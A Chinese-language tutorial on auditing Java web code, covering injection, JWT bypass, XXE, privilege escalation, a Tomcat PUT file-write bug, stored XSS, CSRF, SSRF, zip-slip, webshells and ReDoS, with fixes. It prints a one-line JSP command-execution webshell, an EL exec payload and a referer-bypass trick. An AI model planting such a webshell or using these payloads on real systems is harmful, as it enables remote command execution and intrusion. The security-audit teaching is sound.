一、注入问题
1.SQL注入
A:jdbc拼接不当引起的注入
jdbc有两种方法执行sql语句,一种是statement,另外一种是preparestatement预编译,注意预编译查询需要使用问号作为占位符号,如果使用拼接仍会导致sql注入。
问题代码如下:
正确使用方式如下:
B:框架不当使用造成sql注入
Mybatis与Hibernate这两种是对jdbc封装的框架
mybatis框架传参数前需要注意是用#{}还是 是直接拼接。
Hibernate可以采用位置参数,命名参数,类实例等多种方式避免拼接,从而根绝SQL注入。
2.命令注入
主要是利用cmd参数可控来实现命令注入,但是要注意java中连接符号作了限制,会把&连接在一起的两个命令参数当成一个参数。
有漏洞的代码如下:
不存在漏洞的代码如下:
该段代码前面有ping,需要用连接符号&或者&&绕过,但是java中会将&&连接在一起的前后两个命令当成一个字符串,因此不存在问题。
3.代码注入
主要是把用户输入当成java代码执行了
4.表达式注入
EL表达式注入,利用的是对用户输入未做严格控制。
这里科普一个EL的基础语法,刚好最近在曝Log4j2漏洞,pyload就是lookup函数对EL表达式进行查询,其中{name}”表示获取“name”变量。注意EL表达式也可以实例化抽象类,比如${Runtime.getRuntime().exec("calc")},或者访问LDAP服务器。
5.模版注入
freemaker是一种引擎,利用freemaker可以渲染前端代码展现出来,但是该引擎包含一些恶意API接口和内部函数,若被攻击者恶意利用可以导致任意代码注入,从而造成远程命令执行。
二、失效的身份认证
失效的身份认证主要是指令牌等机制设计不合理,导致被攻击者恶意利用发起攻击。
本篇主要是将通过jwt来进行身份认证时,由于access_token变量前端可控,后端密钥仅做了硬编码,导致出现身份认证机制被绕过的问题,如下代码:
从图中可以看出,要充值投票,仅有access_token解析后为admin可做到,而access_token为前端传入,并从中取出admin的值,因此结为可控变量,导致出现逻辑绕过问题。
三、敏感信息泄露
主要是接口授权认证机制未做好授权访问或者中间件配置不完善导致的(web.xml里面可以写404对应的处理机制页面,或者直接中间件配置也行)
四、XXE
主要是代码层面做XML解析时,未做外部实体禁用,或者直接限制白名单。。,看如下代码:
其中,XML解析亦可用来当成DDOS攻击,设置为多重XML解析即可,payload如下所示:
修改的方法是更改配置,禁用外部实体声明即可。
五、失效的访问控制
1.水平越权
以因酷的实际代码作为例子来解释一下,在黑盒测试中,具体的URL是inxedu/uc/updateUser,以该URL入手来搜寻源代码,通过全局搜索如下:
/**
* 修改用户信息
*/
@RequestMapping("/updateUser")
@ResponseBody
public Map<String,Object> updateUserInfo(HttpServletRequest request){
Map<String,Object> json = new HashMap<String,Object>();
try{
String userName=request.getParameter("userName");//姓名
if(userName==null||userName.trim().equals("")){
json=this.setJson(false, "姓名不能为空", null);
return json;
}
String showName=request.getParameter("showName");//昵称
if(showName==null||showName.trim().equals("")){
json=this.setJson(false, "昵称不能为空", null);
return json;
}
String sex=request.getParameter("sex");//性别 1男 2女
if(sex==null||sex.trim().equals("")){
json=this.setJson(false, "性别不能为空", null);
return json;
}
String age=request.getParameter("age");//年龄
if(age==null||age.trim().equals("")){
json=this.setJson(false, "年龄不能为空", null);
return json;
}
String userId=request.getParameter("userId");//用户Id
if(userId==null||userId.trim().equals("")){
json=this.setJson(false, "用户Id不能为空", null);
return json;
}
User user=new User();
user.setUserId(Integer.parseInt(userId));//用户Id
user.setUserName(userName);//姓名
user.setShowName(showName);//昵称
user.setSex(Integer.parseInt(sex));//性别
user.setAge(Integer.parseInt(age));//年龄
userService.updateUser(user);//修改基本信息
json = this.setJson(true, "修改成功", user);
}catch (Exception e) {
json=this.setJson(false, "异常", null);
logger.error("updateUserInfo()---error",e);
}
return json;
}
@RequestMapping("/updateUser")用来将URL映射到控制器上面
从这里面可以看出, userService.updateUser(user)是实际更新用户信息的函数,继续跟进如下:
import com.inxedu.os.edu.service.user.UserService;
从这可以看到 UserService应该是一个抽象类,需要找到类的定义函数
这里可以在全局搜索中find implements Userservice
public void updateUser(User user) {
userDao.updateUser(user);
}
从上可以看出相应的是调用了UserDao对象的updateUser方法来实现,继续审计UserDao的接口
public void updateUser(User user) {
this.update("UserMapper.updateUser", user);
}
发现他是使用了update的方法进行查询,此处对UserMapper进一步全局查询,发现他是使用了mybatis框架,打开UserMapper.xml之后发现是SQL语句
<!-- 修改用户信息 -->
<update id="updateUser" parameterType="User">
UPDATE EDU_USER SET
EDU_USER.USER_NAME=#{userName},
EDU_USER.SHOW_NAME=#{showName},
EDU_USER.SEX=#{sex},
EDU_USER.AGE=#{age}
WHERE EDU_USER.USER_ID=#{userId}
</update>
也就是说整个修改的过程中完全没有相应的权限限制,直接就修改数据库了,导致水平越权的事情出现。
2.垂直越权
垂直越权的代码缺陷也是一样,做业务逻辑时未对用户权限进行校验。
六、安全配置错误
1. Tomcat任意文件写入(CVE201712615)漏洞审计,黑盒方法请自己google
这里下载了tomcat-7.0.19源码来进行审计。。
首先看web.xml,应用程序的入口在这里
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
tomcat在处理请求时有两个默认servlet,一个是defaultservlet,一个是jspservlet,由上可以看到,jsp,jspx的请求都由jspservlet来处理,其他都在defaultservlet,由于defaultservlet默认继承了httpservlet类,所以可以defaultservlet的实现,如下为class
@Override
protected void doPut(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
if (readOnly) {
resp.sendError(HttpServletResponse.SC_FORBIDDEN);
return;
}
String path = getRelativePath(req);
boolean exists = true;
try {
resources.lookup(path);
} catch (NamingException e) {
exists = false;
}
boolean result = true;
// Temp. content file used to support partial PUT
File contentFile = null;
Range range = parseContentRange(req, resp);
InputStream resourceInputStream = null;
// Append data specified in ranges to existing content for this
// resource - create a temp. file on the local filesystem to
// perform this operation
// Assume just one range is specified for now
if (range != null) {
contentFile = executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}
try {
Resource newResource = new Resource(resourceInputStream);
// FIXME: Add attributes
if (exists) {
resources.rebind(path, newResource);
} else {
resources.bind(path, newResource);
}
} catch(NamingException e) {
result = false;
}
if (result) {
if (exists) {
resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
} else {
resp.setStatus(HttpServletResponse.SC_CREATED);
}
} else {
resp.sendError(HttpServletResponse.SC_CONFLICT);
}
}
所以当前端请求为*.jsp/的时候,就会走defaultservelt,这时候查看defaultservelt的put处理方法
doput方法如下图:
其中readonly属性是在web.xml中设置的,查阅如下:
<!-- readonly Is this context "read only", so HTTP -->
<!-- commands like PUT and DELETE are -->
<!-- rejected? [true] -->
也就是说如果设置readonly,put以及delete方法都会被禁用。
跟进write方法如下所示:
可以看到是使用file方法来处理路径,跟进file方法如下:
可以看到会把路径中的/吃掉,所以会导致任意文件上传成功。
七、XSS
xss的审计策略如下:
(1)收集输入、输出点。
(2)查看输入、输出点的上下文环境。
(3)判断Web应用是否对输入、输出做了防御工作(如过滤、扰乱、编码等)。
以zrlog cms为例子,存储型漏洞的url对应/api/admin/website,我们下载war包以后,用jd-gui反编译查看web.xml,如下:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
version="2.5">
<!-- for sae -->
<distributable/>
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<trim-directive-whitespaces>true</trim-directive-whitespaces>
</jsp-property-group>
</jsp-config>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
<error-page>
<error-code>404</error-code>
<location>/error/404.html</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/error/500.html</location>
</error-page>
<filter>
<filter-name>JFinalFilter</filter-name>
<filter-class>com.jfinal.core.JFinalFilter</filter-class>
<init-param>
<param-name>configClass</param-name>
<param-value>com.zrlog.web.config.ZrLogConfig</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>JFinalFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
通过查看web.xml,发现过滤器是JFinalFilter,初始值对应ZrLogConfig,jd-gui全局搜索ZrLogConfig,发现对应的字节码文件含有字节对应路由文件,如下:
public void configRoute(Routes routes) {
routes.add("/post", com.zrlog.web.controller.blog.PostController.class);
routes.add("/api", com.zrlog.web.controller.blog.APIController.class);
routes.add("/", com.zrlog.web.controller.blog.PostController.class);
routes.add("/install", com.zrlog.web.controller.blog.InstallController.class);
routes.add(new AdminRoutes());
}
直接全局搜索 routes,发现为class AdminRoutes,为cms路由配置文件信息,
class AdminRoutes
extends Routes
{
public void config() {
add("/admin", com.zrlog.web.controller.admin.page.AdminPageController.class);
add("/admin/template", com.zrlog.web.controller.admin.page.AdminTemplatePageController.class);
add("/admin/article", com.zrlog.web.controller.admin.page.AdminArticlePageController.class);
add("/api/admin", com.zrlog.web.controller.admin.api.AdminController.class);
add("/api/admin/link", com.zrlog.web.controller.admin.api.LinkController.class);
add("/api/admin/comment", com.zrlog.web.controller.admin.api.CommentController.class);
add("/api/admin/tag", com.zrlog.web.controller.admin.api.TagController.class);
add("/api/admin/type", com.zrlog.web.controller.admin.api.TypeController.class);
add("/api/admin/nav", com.zrlog.web.controller.admin.api.BlogNavController.class);
add("/api/admin/article", com.zrlog.web.controller.admin.api.ArticleController.class);
add("/api/admin/website", com.zrlog.web.controller.admin.api.WebSiteController.class);
add("/api/admin/template", com.zrlog.web.controller.admin.api.TemplateController.class);
add("/api/admin/upload", com.zrlog.web.controller.admin.api.UploadController.class);
add("/api/admin/upgrade", com.zrlog.web.controller.admin.api.UpgradeController.class);
}
}
api/admin/website对应字节码文件为com.zrlog.web.controller.admin.api.WebSiteController.class,跟进如下:
public class WebSiteController
extends BaseController
{
@RefreshCache
public WebSiteSettingUpdateResponse update() {
Map<String, Object> requestMap = (Map)ZrLogUtil.convertRequestBody(getRequest(), Map.class);
for (Map.Entry<String, Object> param : requestMap.entrySet()) {
(new WebSite()).updateByKV((String)param.getKey(), param.getValue());
}
WebSiteSettingUpdateResponse updateResponse = new WebSiteSettingUpdateResponse();
updateResponse.setError(0);
return updateResponse;
}
public Map<String, Object> version() {
Map<String, Object> map = new HashMap<String, Object>();
map.put("version", BlogBuildInfoUtil.getVersion());
map.put("buildId", BlogBuildInfoUtil.getBuildId());
return map;
}
}
可以看到使用了updateByKV更新数值,继续跟进
public boolean updateByKV(String name, Object value) {
if (Db.queryInt("select siteId from website where name=?", new Object[] { name }) != null) {
Db.update("update website set value=? where name=?", new Object[] { value, name });
} else {
Db.update("insert website(`value`,`name`) value(?,?)", new Object[] { value, name });
}
return true;
}
可以看到仅判断数值是否为空,不为空直接插入到数据库中,构成存储型的条件之一,再看前端是否有过滤
<a <c:if test="${currentViewName eq 'index'}">class="selected"</c:if> <c:if test="${currentViewName ne 'index'}">class="disable"</c:if> href="#step-1" isdone="1" rel="1">
<span class="step_no">1</span>
<span class="step_descr">${_res.installDatabaseInfo}</span>
可以看到前端直接嵌入到页面中,直接输出未做任何过滤。
Dom型的xss成因在于输入未经过滤直接在前端有缺陷的js代码中输出了。
八、csrf
CSRF最简单的测试方法,直接删除referer,若服务器能响应则说明存在漏洞。
public class RefererInterceptor extends HandlerInterceptorAdapter
{
private Booleancheck=true;
@Override public boolean
preHandle ( HttpServletRequestreq,HttpServletResponseresp,Objecthandler) throwsException{
if(!check)
{return true;}
String referer=request.getHeader("Referer");
if((referer!=null)&&(referer.trim().startsWith("www.testdomain.com"))){chain.doFilter(request,response);}else{request.getRequestDispatcher("index.jsp").forward(request,response);
}
}
这里绕过的逻辑在于,可以注册一个二级域名www.testdomain.com.hacker.com
第二段缺陷代码如下:
这段代码使用token来校验的想法是对的,问题在于若token位做失效处理,攻击者拿到token后照样可以伪造。
CSRF的防御手段:1.与用户进行交互生成token,但要注意时间,若注销立马失效
2.检查referer手段,要用白名单 3.添加校验token,对重要操作进行多次确认。
九、ssrf
ssrf主要发生在需要打开http探测的场景下
审计ssrf需要关注的高危函数如下:
HttpClient.execute()
HttpClient.executeMethod()
HttpURLConnection.connect()
HttpURLConnection.getInputStream()
URL.openStream()
HttpServletRequest()
BasicHttpEntityEnclosingRequest()
DefaultBHttpClientConnection()
BasicHttpRequest()
ssrf利用方式有两种,一种是进行端口扫描,一种是进行任意文件读取
恶意代码如下所示:
该段代码可以用来探测内网其他机器是否开放http/https端口
任意文件读取,即可利用file协议进行尝试
此处例子以hawtio为例,hawtiosystem/src/main/java/io/hawt/web/proxy/ProxyServlet.Java
中有这么一段代码
@Override
protected void service(HttpServletRequest servletRequest, HttpServletResponse servletResponse)
throws ServletException, IOException {
// Make the Request
//note: we won't transfer the protocol version because I'm not sure it would truly be compatible
ProxyAddress proxyAddress = parseProxyAddress(servletRequest);
if (proxyAddress == null || proxyAddress.getFullProxyUrl() == null) {
servletResponse.setStatus(HttpServletResponse.SC_NOT_FOUND);
return;
}
// TODO Implement whitelist protection for Kubernetes services as well
if (proxyAddress instanceof ProxyDetails) {
ProxyDetails details = (ProxyDetails) proxyAddress;
if (!whitelist.isAllowed(details)) {
LOG.debug("Rejecting {}", proxyAddress);
ServletHelpers.doForbidden(servletResponse);
return;
}
}
此处跟进whitelist.isallowed方法
public boolean isAllowed(ProxyDetails details) {
if (details.isAllowed(whitelist)) {
return true;
}
// Update whitelist and check again
LOG.debug("Updating proxy whitelist: {}, {}", whitelist, details);
if (update() && details.isAllowed(whitelist)) {
return true;
}
// test against the regex as last resort
if (details.isAllowed(regexWhitelist)) {
return true;
} else {
return false;
}
}
跟进details.isallowed,代码如下:
public boolean isAllowed(Set<String> whitelist) {
if (whitelist.contains("*")) {
return true;
}
// host may contain port number! (e.g. "localhost:9000")
return whitelist.contains(host.split(":")[0]);
}
可以看到代码中判断了是否有*,若是没有的话就直接返回IP地址。
update代码如下:
public boolean update() {
if (!mBeanServer.isRegistered(fabricMBean)) {
LOG.debug("Whitelist MBean not available");
return false;
}
Set<String> newWhitelist = invokeMBean();
int previousSize = whitelist.size();
whitelist.addAll(newWhitelist);
if (whitelist.size() == previousSize) {
LOG.debug("No new proxy whitelist to update");
return false;
} else {
LOG.info("Updated proxy whitelist: {}", whitelist);
return true;
}
}
可以看到更新白名单前并未做什么判断。
继续service模块代码往下,可以看到
HttpRequest proxyRequest;
//spec: RFC 2616, sec 4.3: either of these two headers signal that there is a message body.
if (servletRequest.getHeader(HttpHeaders.CONTENT_LENGTH) != null ||
servletRequest.getHeader(HttpHeaders.TRANSFER_ENCODING) != null) {
HttpEntityEnclosingRequest eProxyRequest = new BasicHttpEntityEnclosingRequest(method, proxyRequestUri);
// Add the input entity (streamed)
// note: we don't bother ensuring we close the servletInputStream since the container handles it
eProxyRequest.setEntity(new InputStreamEntity(servletRequest.getInputStream(), servletRequest.getContentLength()));
proxyRequest = eProxyRequest;
} else {
proxyRequest = new BasicHttpRequest(method, proxyRequestUri);
}
后续直接发起请求,所以可以算ssrf漏洞。
ssrf的修复方法,可以做权限限制,请求设置url白名单,端口白名单,限制协议,同一错误信息(防止用错误信息来判断端口是否开放)等。
十、URL跳转
URL跳转漏洞也叫作URL重定向漏洞,由于服务端未对传入的跳转地址进行检查和控制,从而导致攻击者可以构造任意一个恶意地址,诱导用户跳转至恶意站点。
URL跳转可以通过限制白名单的方式来处理,另外可以牺牲用户体验,设置二次提醒,就像简书和csdn的操作那样。
十一、文件操作
1.文件包含
JSP的文件包含分为静态包含和动态包含两种。静态包含:%@includefile="test.jsp"%。动态包含:<jsp:include page="<%=file%>"></jsp:include>、<c:import url="<%=url%>"></c:import>。
但是java与php不同的地方在于,他并不会将非jsp的文件当成java代码来执行,所以只有文件读取以及文件下载可以利用,光利用文件包含无法rce。
2.文件上传
这块的代码就不专门发了,就是利用后端检查后缀,白名单控制上传后缀内容,注意截断以及大小写就行。
3.文件解压漏洞
以jspxcms为例子,漏洞代码
@RequiresPermissions("core:web_file_2:unzip")
@RequestMapping("unzip.do")
public String unzip(HttpServletRequest request, HttpServletResponse response, RedirectAttributes ra)
throws IOException {
return super.unzip(request, response, ra);
}
找到父类的unzip方法如下:
protected String unzip(HttpServletRequest request, HttpServletResponse response, RedirectAttributes ra)
throws IOException {
Site site = Context.getCurrentSite();
FileHandler fileHandler = getFileHandler(site);
if (!(fileHandler instanceof LocalFileHandler)) {
throw new CmsException("ftp cannot support ZIP.");
}
LocalFileHandler localFileHandler = (LocalFileHandler) fileHandler;
String base = getBase(site);
String[] ids = Servlets.getParamValues(request, "ids");
for (int i = 0, len = ids.length; i < len; i++) {
if (!Validations.uri(ids[i], base)) {
throw new CmsException("invalidURI");
}
File file = localFileHandler.getFile(ids[i]);
if (AntZipUtils.isZipFile(file)) {
AntZipUtils.unzip(file, file.getParentFile());
logService.operation("opr.webFile.unzip", ids[i], null, null, request);
logger.info("unzip file, name={}.", ids[i]);
}
}
String parentId = Servlets.getParam(request, "parentId");
ra.addAttribute("parentId", parentId);
ra.addFlashAttribute("refreshLeft", true);
ra.addFlashAttribute(MESSAGE, OPERATION_SUCCESS);
return "redirect:list.do";
}
可以看到他调用了AntZipUtils.isZipFile,跟进该方法
public static void unzip(File zipFile, File destDir, String encoding) {
if (destDir.exists() && !destDir.isDirectory()) {
throw new IllegalArgumentException("destDir is not a directory!");
}
ZipFile zip = null;
InputStream is = null;
FileOutputStream fos = null;
File file;
String name;
byte[] buff = new byte[DEFAULT_BUFFER_SIZE];
int readed;
ZipEntry entry;
try {
try {
if (StringUtils.isNotBlank(encoding)) {
zip = new ZipFile(zipFile, encoding);
} else {
zip = new ZipFile(zipFile);
}
Enumeration<?> en = zip.getEntries();
while (en.hasMoreElements()) {
entry = (ZipEntry) en.nextElement();
name = entry.getName();
name = name.replace('/', File.separatorChar);
file = new File(destDir, name);
if (entry.isDirectory()) {
file.mkdirs();
} else {
// 创建父目录
file.getParentFile().mkdirs();
is = zip.getInputStream(entry);
fos = new FileOutputStream(file);
while ((readed = is.read(buff)) > 0) {
fos.write(buff, 0, readed);
}
fos.close();
is.close();
}
}
} finally {
if (fos != null) {
fos.close();
}
if (is != null) {
is.close();
}
if (zip != null) {
zip.close();
}
}
} catch (IOException e) {
logger.error("", e);
}
}
可以看到直接获取 name = entry.getName();的值以后解压了,没有对他做任何限制。
针对该种类型攻击,需要在解压时比对解压路径是否正确,限制解压文件类型等等造成rce.
十二、webshell的一些研究
java后门的webshell一般分两种,一种直接调用,一种反射调用。
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
这种是直接调用的一句话木马,但是缺点在于他没有回显,可用于直接反弹shell.
反射调用是更加常用的方法,典型代码如下:
;
十三、DDOS
java侧主要会用到redos漏洞,是指正则表达式解析不断循环不停止时造成的DDOS漏洞。(由正则表达式引起的DDOS)
示例代码如下:
import java.util.regex.*;
public class learnjava {
public static void main(String [] args){
System.out.printf("123");
Pattern pattern=Pattern.compile("(0*)*A");
String input="00000000000000000000000000000000000000000000000000000";
long starttime=System.currentTimeMillis();
Matcher matcher=pattern.matcher(input);
System.out.println("匹配字符长度:"+input.length());
System.out.println("是否匹配到"+matcher.find());
System.out.println("运行时间:"+(System.currentTimeMillis()-starttime)+"毫秒");
}
}
解压功能DDOS,如下漏洞代码:
public static void unzip(File zipFile, File destDir, String encoding) {
if (destDir.exists() && !destDir.isDirectory()) {
throw new IllegalArgumentException("destDir is not a directory!");
}
ZipFile zip = null;
InputStream is = null;
FileOutputStream fos = null;
File file;
String name;
byte[] buff = new byte[DEFAULT_BUFFER_SIZE];
int readed;
ZipEntry entry;
try {
try {
if (StringUtils.isNotBlank(encoding)) {
zip = new ZipFile(zipFile, encoding);
} else {
zip = new ZipFile(zipFile);
}
Enumeration<?> en = zip.getEntries();
while (en.hasMoreElements()) {
entry = (ZipEntry) en.nextElement();
name = entry.getName();
name = name.replace('/', File.separatorChar);
file = new File(destDir, name);
if (entry.isDirectory()) {
file.mkdirs();
} else {
// 创建父目录
file.getParentFile().mkdirs();
is = zip.getInputStream(entry);
fos = new FileOutputStream(file);
while ((readed = is.read(buff)) > 0) {
fos.write(buff, 0, readed);
}
fos.close();
is.close();
}
}
} finally {
if (fos != null) {
fos.close();
}
if (is != null) {
is.close();
}
if (zip != null) {
zip.close();
}
}
} catch (IOException e) {
logger.error("", e);
}
}
从中可以看到,其没有对解压出来的包做大小限制,导致可能被硬盘写满。